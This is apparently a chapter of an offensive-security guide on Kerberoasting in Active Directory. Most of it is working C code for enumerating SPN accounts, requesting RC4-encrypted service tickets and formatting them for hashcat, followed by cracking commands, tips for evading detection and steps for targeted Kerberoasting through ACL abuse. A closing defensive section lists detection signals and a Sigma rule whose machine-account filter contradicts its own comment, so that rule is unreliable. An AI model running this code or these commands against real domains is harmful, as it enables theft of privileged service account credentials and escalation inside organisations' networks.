Kerberoasting Implementation
Enumerating service accounts with SPNs via LDAP, requesting TGS tickets through LsaCallAuthenticationPackage, extracting the RC4-HMAC encrypted blob, and cracking it offline with hashcat
You have a domain user account — low privilege, no admin rights. This is enough. In most enterprise domains, every domain user can request a Kerberos service ticket for any service account that has a Service Principal Name (SPN) registered. The ticket is encrypted with the service account's NT hash. You extract the encrypted blob, take it offline, and crack the password — if the service account has a weak password, you now own it. Service accounts are prime targets: they often have high privileges (Domain Admin, SQL sysadmin), use long-lived weak passwords set years ago, and are rarely monitored for unusual authentication.
Kerberos TGS Request — The Mechanism Being Abused
Why Service Accounts Are the Best Targets
| Factor | Why It Helps Attackers |
|---|---|
| Long-lived passwords | Service account passwords often set once and never changed — same password for 3-10 years, making offline cracking much more likely to succeed |
| High privileges | Many service accounts are Domain Admin, local admin on many machines, or have SQL sysadmin — cracking one gives immediate lateral movement |
| Weak password policies | Service accounts often exempt from complexity requirements or rotation policies — passwords are simpler than user account passwords |
| RC4 allowed by default | Most domains still support RC4-HMAC (etype 23) for backwards compatibility — RC4 TGS tickets are much faster to crack than AES-256 |
| No lockout | Offline cracking against a captured hash has no lockout — unlimited guesses without any DC interaction after the initial TGS request |
Step 1 — SPN Enumeration via LDAP
LDAP query to find all user accounts with a non-empty servicePrincipalName attribute. The filter (&(objectClass=user)(servicePrincipalName=*)(!samAccountType=805306370)) finds human/service accounts (not machine accounts) with SPNs:
#include <windows.h>
#include <winldap.h>
#include <winber.h>
#include <stdio.h>
#pragma comment(lib, "wldap32.lib")
typedef struct _SPN_ACCOUNT {
WCHAR sAMAccountName[256];
WCHAR spn[512];
WCHAR dn[1024];
} SPN_ACCOUNT;
DWORD EnumerateSPNAccounts(SPN_ACCOUNT *accounts, DWORD maxAccounts) {
// Connect to LDAP on default DC (uses Kerberos auth automatically)
LDAP *ld = ldap_init(NULL, LDAP_PORT);
if (!ld) return 0;
ULONG ver = LDAP_VERSION3;
ldap_set_option(ld, LDAP_OPT_PROTOCOL_VERSION, &ver);
ldap_bind_s(ld, NULL, NULL, LDAP_AUTH_NEGOTIATE); // use current user's credentials
// Get domain DN from rootDSE
WCHAR *rootAttrs[] = { L"defaultNamingContext", NULL };
LDAPMessage *rootRes = NULL;
ldap_search_s(ld, NULL, LDAP_SCOPE_BASE, L"(objectClass=*)",
rootAttrs, 0, &rootRes);
LDAPMessage *rootEntry = ldap_first_entry(ld, rootRes);
WCHAR **dcVals = ldap_get_values(ld, rootEntry, L"defaultNamingContext");
WCHAR baseDN[512];
wcscpy_s(baseDN, 512, dcVals[0]);
ldap_value_free(dcVals);
ldap_msgfree(rootRes);
// Search for accounts with SPNs (not machine accounts)
WCHAR *attrs[] = { L"sAMAccountName", L"servicePrincipalName",
L"distinguishedName", L"msDS-SupportedEncryptionTypes", NULL };
LDAPMessage *res = NULL;
ULONG rc = ldap_search_s(ld, baseDN, LDAP_SCOPE_SUBTREE,
L"(&(objectClass=user)(servicePrincipalName=*)(!samAccountType=805306370))",
attrs, 0, &res);
if (rc != LDAP_SUCCESS) {
ldap_unbind(ld); return 0;
}
DWORD count = 0;
LDAPMessage *entry = ldap_first_entry(ld, res);
while (entry && count < maxAccounts) {
WCHAR **sam = ldap_get_values(ld, entry, L"sAMAccountName");
WCHAR **spns = ldap_get_values(ld, entry, L"servicePrincipalName");
WCHAR **dn = ldap_get_values(ld, entry, L"distinguishedName");
if (sam && spns) {
wcscpy_s(accounts[count].sAMAccountName, 256, sam[0]);
wcscpy_s(accounts[count].spn, 512, spns[0]); // take first SPN
if (dn) wcscpy_s(accounts[count].dn, 1024, dn[0]);
count++;
}
if (sam) ldap_value_free(sam);
if (spns) ldap_value_free(spns);
if (dn) ldap_value_free(dn);
entry = ldap_next_entry(ld, entry);
}
ldap_msgfree(res);
ldap_unbind(ld);
return count;
}
Step 2 — Requesting TGS Tickets via LsaCallAuthenticationPackage
To request a TGS ticket for a specific SPN, call the Kerberos LSA authentication package with the KerbRetrieveEncodedTicketMessage message type. This requests a ticket from the KDC and returns the raw encoded Kerberos ticket structure. Critically, you can force RC4-HMAC encryption (etype 23) to get a ticket that cracks faster:
#include <windows.h>
#include <ntsecapi.h>
#include <stdio.h>
#pragma comment(lib, "secur32.lib")
// Kerberos message types
#define KERB_RETRIEVE_ENCODED_TICKET_MESSAGE 8
// KERB_RETRIEVE_TKT_REQUEST (KerbRetrieveEncodedTicketMessage)
typedef struct _KERB_RETRIEVE_TKT_REQUEST {
KERB_PROTOCOL_MESSAGE_TYPE MessageType;
LUID LogonId;
UNICODE_STRING TargetName; // SPN to request
ULONG TicketFlags;
ULONG CacheOptions; // KERB_RETRIEVE_TICKET_USE_CACHE_ONLY or 0=request from KDC
LONG EncryptionType;// KERB_ETYPE_RC4_HMAC_NT=23, 0=default, 18=AES-256
SecHandle CredentialsHandle;
} KERB_RETRIEVE_TKT_REQUEST;
typedef struct _KERB_RETRIEVE_TKT_RESPONSE {
KERB_EXTERNAL_TICKET Ticket;
} KERB_RETRIEVE_TKT_RESPONSE;
BOOL RequestTGS(const WCHAR *spn, BYTE **ticketOut, ULONG *ticketLen) {
HANDLE lsaHandle;
NTSTATUS status;
LSA_STRING packageName;
ULONG authPackage;
// Connect to LSA (untrusted caller — no special rights needed)
status = LsaConnectUntrusted(&lsaHandle);
if (status != 0) return FALSE;
packageName.Buffer = (char*)MICROSOFT_KERBEROS_NAME_A;
packageName.Length = (USHORT)strlen(MICROSOFT_KERBEROS_NAME_A);
packageName.MaximumLength = packageName.Length + 1;
status = LsaLookupAuthenticationPackage(lsaHandle, &packageName, &authPackage);
if (status != 0) { LsaClose(lsaHandle); return FALSE; }
// Build request: ask for RC4-HMAC (etype 23) — required for crackable hash
DWORD spnLen = (DWORD)(wcslen(spn) * sizeof(WCHAR));
DWORD reqSize = sizeof(KERB_RETRIEVE_TKT_REQUEST) + spnLen + sizeof(WCHAR);
KERB_RETRIEVE_TKT_REQUEST *req = (KERB_RETRIEVE_TKT_REQUEST*)calloc(1, reqSize);
req->MessageType = (KERB_PROTOCOL_MESSAGE_TYPE)KERB_RETRIEVE_ENCODED_TICKET_MESSAGE;
req->CacheOptions = 8; // KERB_RETRIEVE_TICKET_USE_CACHE_ONLY=0, force new request=8
req->EncryptionType = 23; // KERB_ETYPE_RC4_HMAC_NT — force RC4 for crackability
// SPN string is placed immediately after the struct
WCHAR *spnBuf = (WCHAR*)((BYTE*)req + sizeof(*req));
wcscpy_s(spnBuf, spnLen / sizeof(WCHAR) + 1, spn);
req->TargetName.Buffer = spnBuf;
req->TargetName.Length = (USHORT)spnLen;
req->TargetName.MaximumLength = (USHORT)(spnLen + sizeof(WCHAR));
KERB_RETRIEVE_TKT_RESPONSE *resp = NULL;
ULONG respLen = 0;
NTSTATUS subStatus;
status = LsaCallAuthenticationPackage(
lsaHandle, authPackage, req, reqSize,
(PVOID*)&resp, &respLen, &subStatus);
free(req);
LsaClose(lsaHandle);
if (status != 0 || subStatus != 0) return FALSE;
// resp->Ticket contains the raw encoded ticket and its parts
// The encrypted part we need is in resp->Ticket.EncodedTicket
*ticketLen = resp->Ticket.EncodedTicketSize;
*ticketOut = (BYTE*)malloc(*ticketLen);
memcpy(*ticketOut, resp->Ticket.EncodedTicket, *ticketLen);
LsaFreeReturnBuffer(resp);
return TRUE;
}
Step 3 — Extracting the Hashcat-Ready Blob from the Ticket
The raw Kerberos ticket returned by LSA is an ASN.1-encoded structure. For hashcat's -m 13100 (Kerberos TGS-REP etype 23), you need to extract the encrypted part and format it as $krb5tgs$23$*username$realm$spn*$edata1$edata2. The encrypted part starts after the ASN.1 wrapping:
// The KERB_EXTERNAL_TICKET has the raw encoded ticket bytes.
// For hashcat format, we need the enc-part from the TGS-REP body.
// The format is:
// $krb5tgs$23$*sAMAccountName$DOMAIN$SPN*$first16bytesOfEncryptedPart$restOfEncryptedPart
//
// The "rest" starts at byte 16 of the encrypted part in the ASN.1 blob.
// The "first16" is the checksum portion used by hashcat to verify cracking.
//
// Python implementation (from impacket GetUserSPNs.py reference):
// enc_part starts after the EncTicketPart ASN.1 wrapper.
// Offset into the raw ticket bytes varies — parse the KRB5 structure.
//
// Simplest path: use impacket's GetUserSPNs.py or Rubeus.exe for production.
// The C implementation above demonstrates the core LsaCallAuthenticationPackage approach.
void FormatForHashcat(const BYTE *encTicket, DWORD len,
const WCHAR *user, const WCHAR *realm,
const WCHAR *spn) {
// encTicket: raw bytes from KERB_EXTERNAL_TICKET.EncodedTicket
// For etype 23, bytes 0-15 = checksum (HMAC-MD5), bytes 16+ = ciphertext
// hashcat wants them separated at byte 16
printf("$krb5tgs$23$*%S$%S$%S*$", user, realm, spn);
// First 16 bytes (checksum / edata1)
for (DWORD i = 0; i < 16 && i < len; i++)
printf("%02x", encTicket[i]);
printf("$");
// Rest (edata2)
for (DWORD i = 16; i < len; i++)
printf("%02x", encTicket[i]);
printf("\n");
}
.kirbi File Format
Rubeus and Mimikatz output Kerberos tickets in the .kirbi format — a base64-encoded KRB_CRED structure (ASN.1). This is the standard portable ticket format for injection attacks (Pass-the-Ticket) and tool interoperability:
Offline Cracking with Hashcat
# hashcat mode 13100 = Kerberos TGS-REP etype 23 (RC4-HMAC)
hashcat -m 13100 kerberoast_hashes.txt /path/to/wordlist.txt
# With rules — dramatically increases success rate
hashcat -m 13100 kerberoast_hashes.txt rockyou.txt \
--rules-file /usr/share/hashcat/rules/best64.rule \
--rules-file /usr/share/hashcat/rules/d3ad0ne.rule
# Mask attack for service accounts with password patterns
# Pattern: ServiceName + Year (e.g., "SqlSvc2019!", "Backup2021@")
hashcat -m 13100 hash.txt -a 3 'Service?u?l?l?l?d?d?d?d?s'
# For AES-256 tickets (etype 18) — much slower
hashcat -m 19700 kerberoast_aes.txt rockyou.txt
# GPU speed comparison (RTX 3090):
# RC4-HMAC (etype 23): ~5.8 billion H/s → rockyou.txt (~14M passwords) in milliseconds
# AES-256-CTS-HMAC-SHA1 (etype 18): ~1.1 million H/s → rockyou.txt takes ~13 seconds
# The speed difference is 5000x — always prefer RC4 tickets for cracking
RC4 vs AES — Targeting Strategy
| Scenario | Strategy |
|---|---|
| Domain allows RC4 (most domains still do) | Force etype 23 (RC4) in your TGS request — tickets crack ~5000x faster than AES |
| msDS-SupportedEncryptionTypes = 0x18 (AES only) | Target is AES-only — you get etype 18 regardless; factor cracking time into priority |
| Account has both RC4 and AES enabled | Explicitly request RC4 by setting EncryptionType=23 in the LSA call |
| Prioritizing targets | Focus on accounts with adminCount=1 (protected by AdminSDHolder, likely privileged), Domain Admin group members, service accounts with "svc" / "sa" in name |
| Operational stealth | Request tickets one at a time with delays — bulk requests (many 4769 events in seconds) triggers honeypot and threshold-based detections |
An administrator can set msDS-SupportedEncryptionTypes to 0x18 (AES128 + AES256 only, no RC4) on service accounts. When this is set, the KDC will only issue AES-encrypted tickets for that account, regardless of what etype the requester asks for. This makes Kerberoasting still possible but ~5000x slower. Combined with a strong password (20+ characters, random), a service account with AES-only encryption and a random password is effectively uncrackable with current hardware in any reasonable timeframe. This is Microsoft's recommended mitigation for Kerberoasting.
Detection
| Signal | Source | Fidelity |
|---|---|---|
| Multiple TGS requests (Event 4769) for different SPNs from one source IP in short time | DC Security Log (4769) | High — volume anomaly; legitimate use is one or two SPNs per session |
| Event 4769 with TicketEncryptionType = 0x17 (RC4, decimal 23) for service accounts | DC Security Log (4769) | Medium-High — RC4 requests for service accounts from modern clients (which prefer AES) are suspicious |
| Event 4769 from unusual source (new workstation, non-standard hours) | DC Security Log (4769) | Medium — correlate with baseline; automated tooling often runs off-hours |
| Honey service account TGS request — a fake SPN account with no legitimate users | DC Security Log (4769) | Very High — any request for a honeypot SPN is an immediate indicator |
| LDAP query with filter containing servicePrincipalName=* | DC LDAP audit / ETW | Medium — also done by legitimate tools (SCCM, monitoring); frequency and source matter |
Sigma Rule
title: Kerberoasting — RC4 TGS Requests for Service Accounts
id: 4c71b2b7-5c2d-4b1e-8c1a-1f7d3e2a9b4c
status: stable
description: Detects potential Kerberoasting via RC4-encrypted TGS requests for user accounts
references:
- https://attack.mitre.org/techniques/T1558/003/
author: detection-engineering
logsource:
product: windows
service: security
detection:
selection:
EventID: 4769
TicketEncryptionType: '0x17' # RC4-HMAC
ServiceName|endswith:
- '$' # exclude machine accounts (end with $)
filter:
ServiceName: 'krbtgt' # exclude TGT requests
condition: selection and not filter
timeframe: 5m
condition_count: selection | count() by IpAddress > 3
falsepositives:
- Legacy applications that only support RC4
- Old application servers requesting RC4 tickets
level: medium
tags:
- attack.credential_access
- attack.t1558.003
Q&A
Does Kerberoasting require any authentication, or can it be done unauthenticated?
Standard Kerberoasting requires a valid domain account — you must authenticate to the KDC to get a TGT first, and then you use that TGT to request TGS tickets. An unauthenticated attacker cannot request TGS tickets from a Kerberos KDC. However, there are related techniques that work without authentication: AS-REP Roasting (chapter 100) targets accounts with Kerberos pre-authentication disabled and works completely unauthenticated. Additionally, Kerberoasting from the internet is possible if you have any domain user account at all — even a low-privilege contractor account or a helpdesk account from a phishing attack. The initial foothold only needs to be a valid domain account; it does not need any elevated privileges. This is what makes Kerberoasting so powerful as a post-phishing technique: you compromise a low-privilege user, enumerate SPNs, grab all roastable hashes, and crack them offline. If any service account has a weak password, you immediately escalate far beyond your initial access.
How does Targeted Kerberoasting (ShadowCred / ACL abuse) work?
Standard Kerberoasting is passive — you target service accounts that already have SPNs. Targeted Kerberoasting is active: if you have write access to a user account's servicePrincipalName attribute (via WriteSPN or GenericWrite ACL), you can add a fake SPN to any user account (even one without existing SPNs), request a TGS ticket for that SPN, crack the ticket to get the account's password, then remove the fake SPN. This transforms a write-ACL primitive on a high-value account (like a Domain Admin) into a credential theft: you don't need to enumerate existing SPNs — you create one temporarily on the exact target you want. The attack adds an SPN via LDAP ldap_modify on the target account, requests the TGS (which will be encrypted with the target's NT hash since the SPN is now registered on their account), then immediately removes the SPN. The 4769 event on the DC will show the SPN name you created, and 4738 will show the attribute change — both are detectable, but the window is short if you clean up quickly. BloodHound identifies WriteSPN and GenericWrite ACL edges as paths to this technique.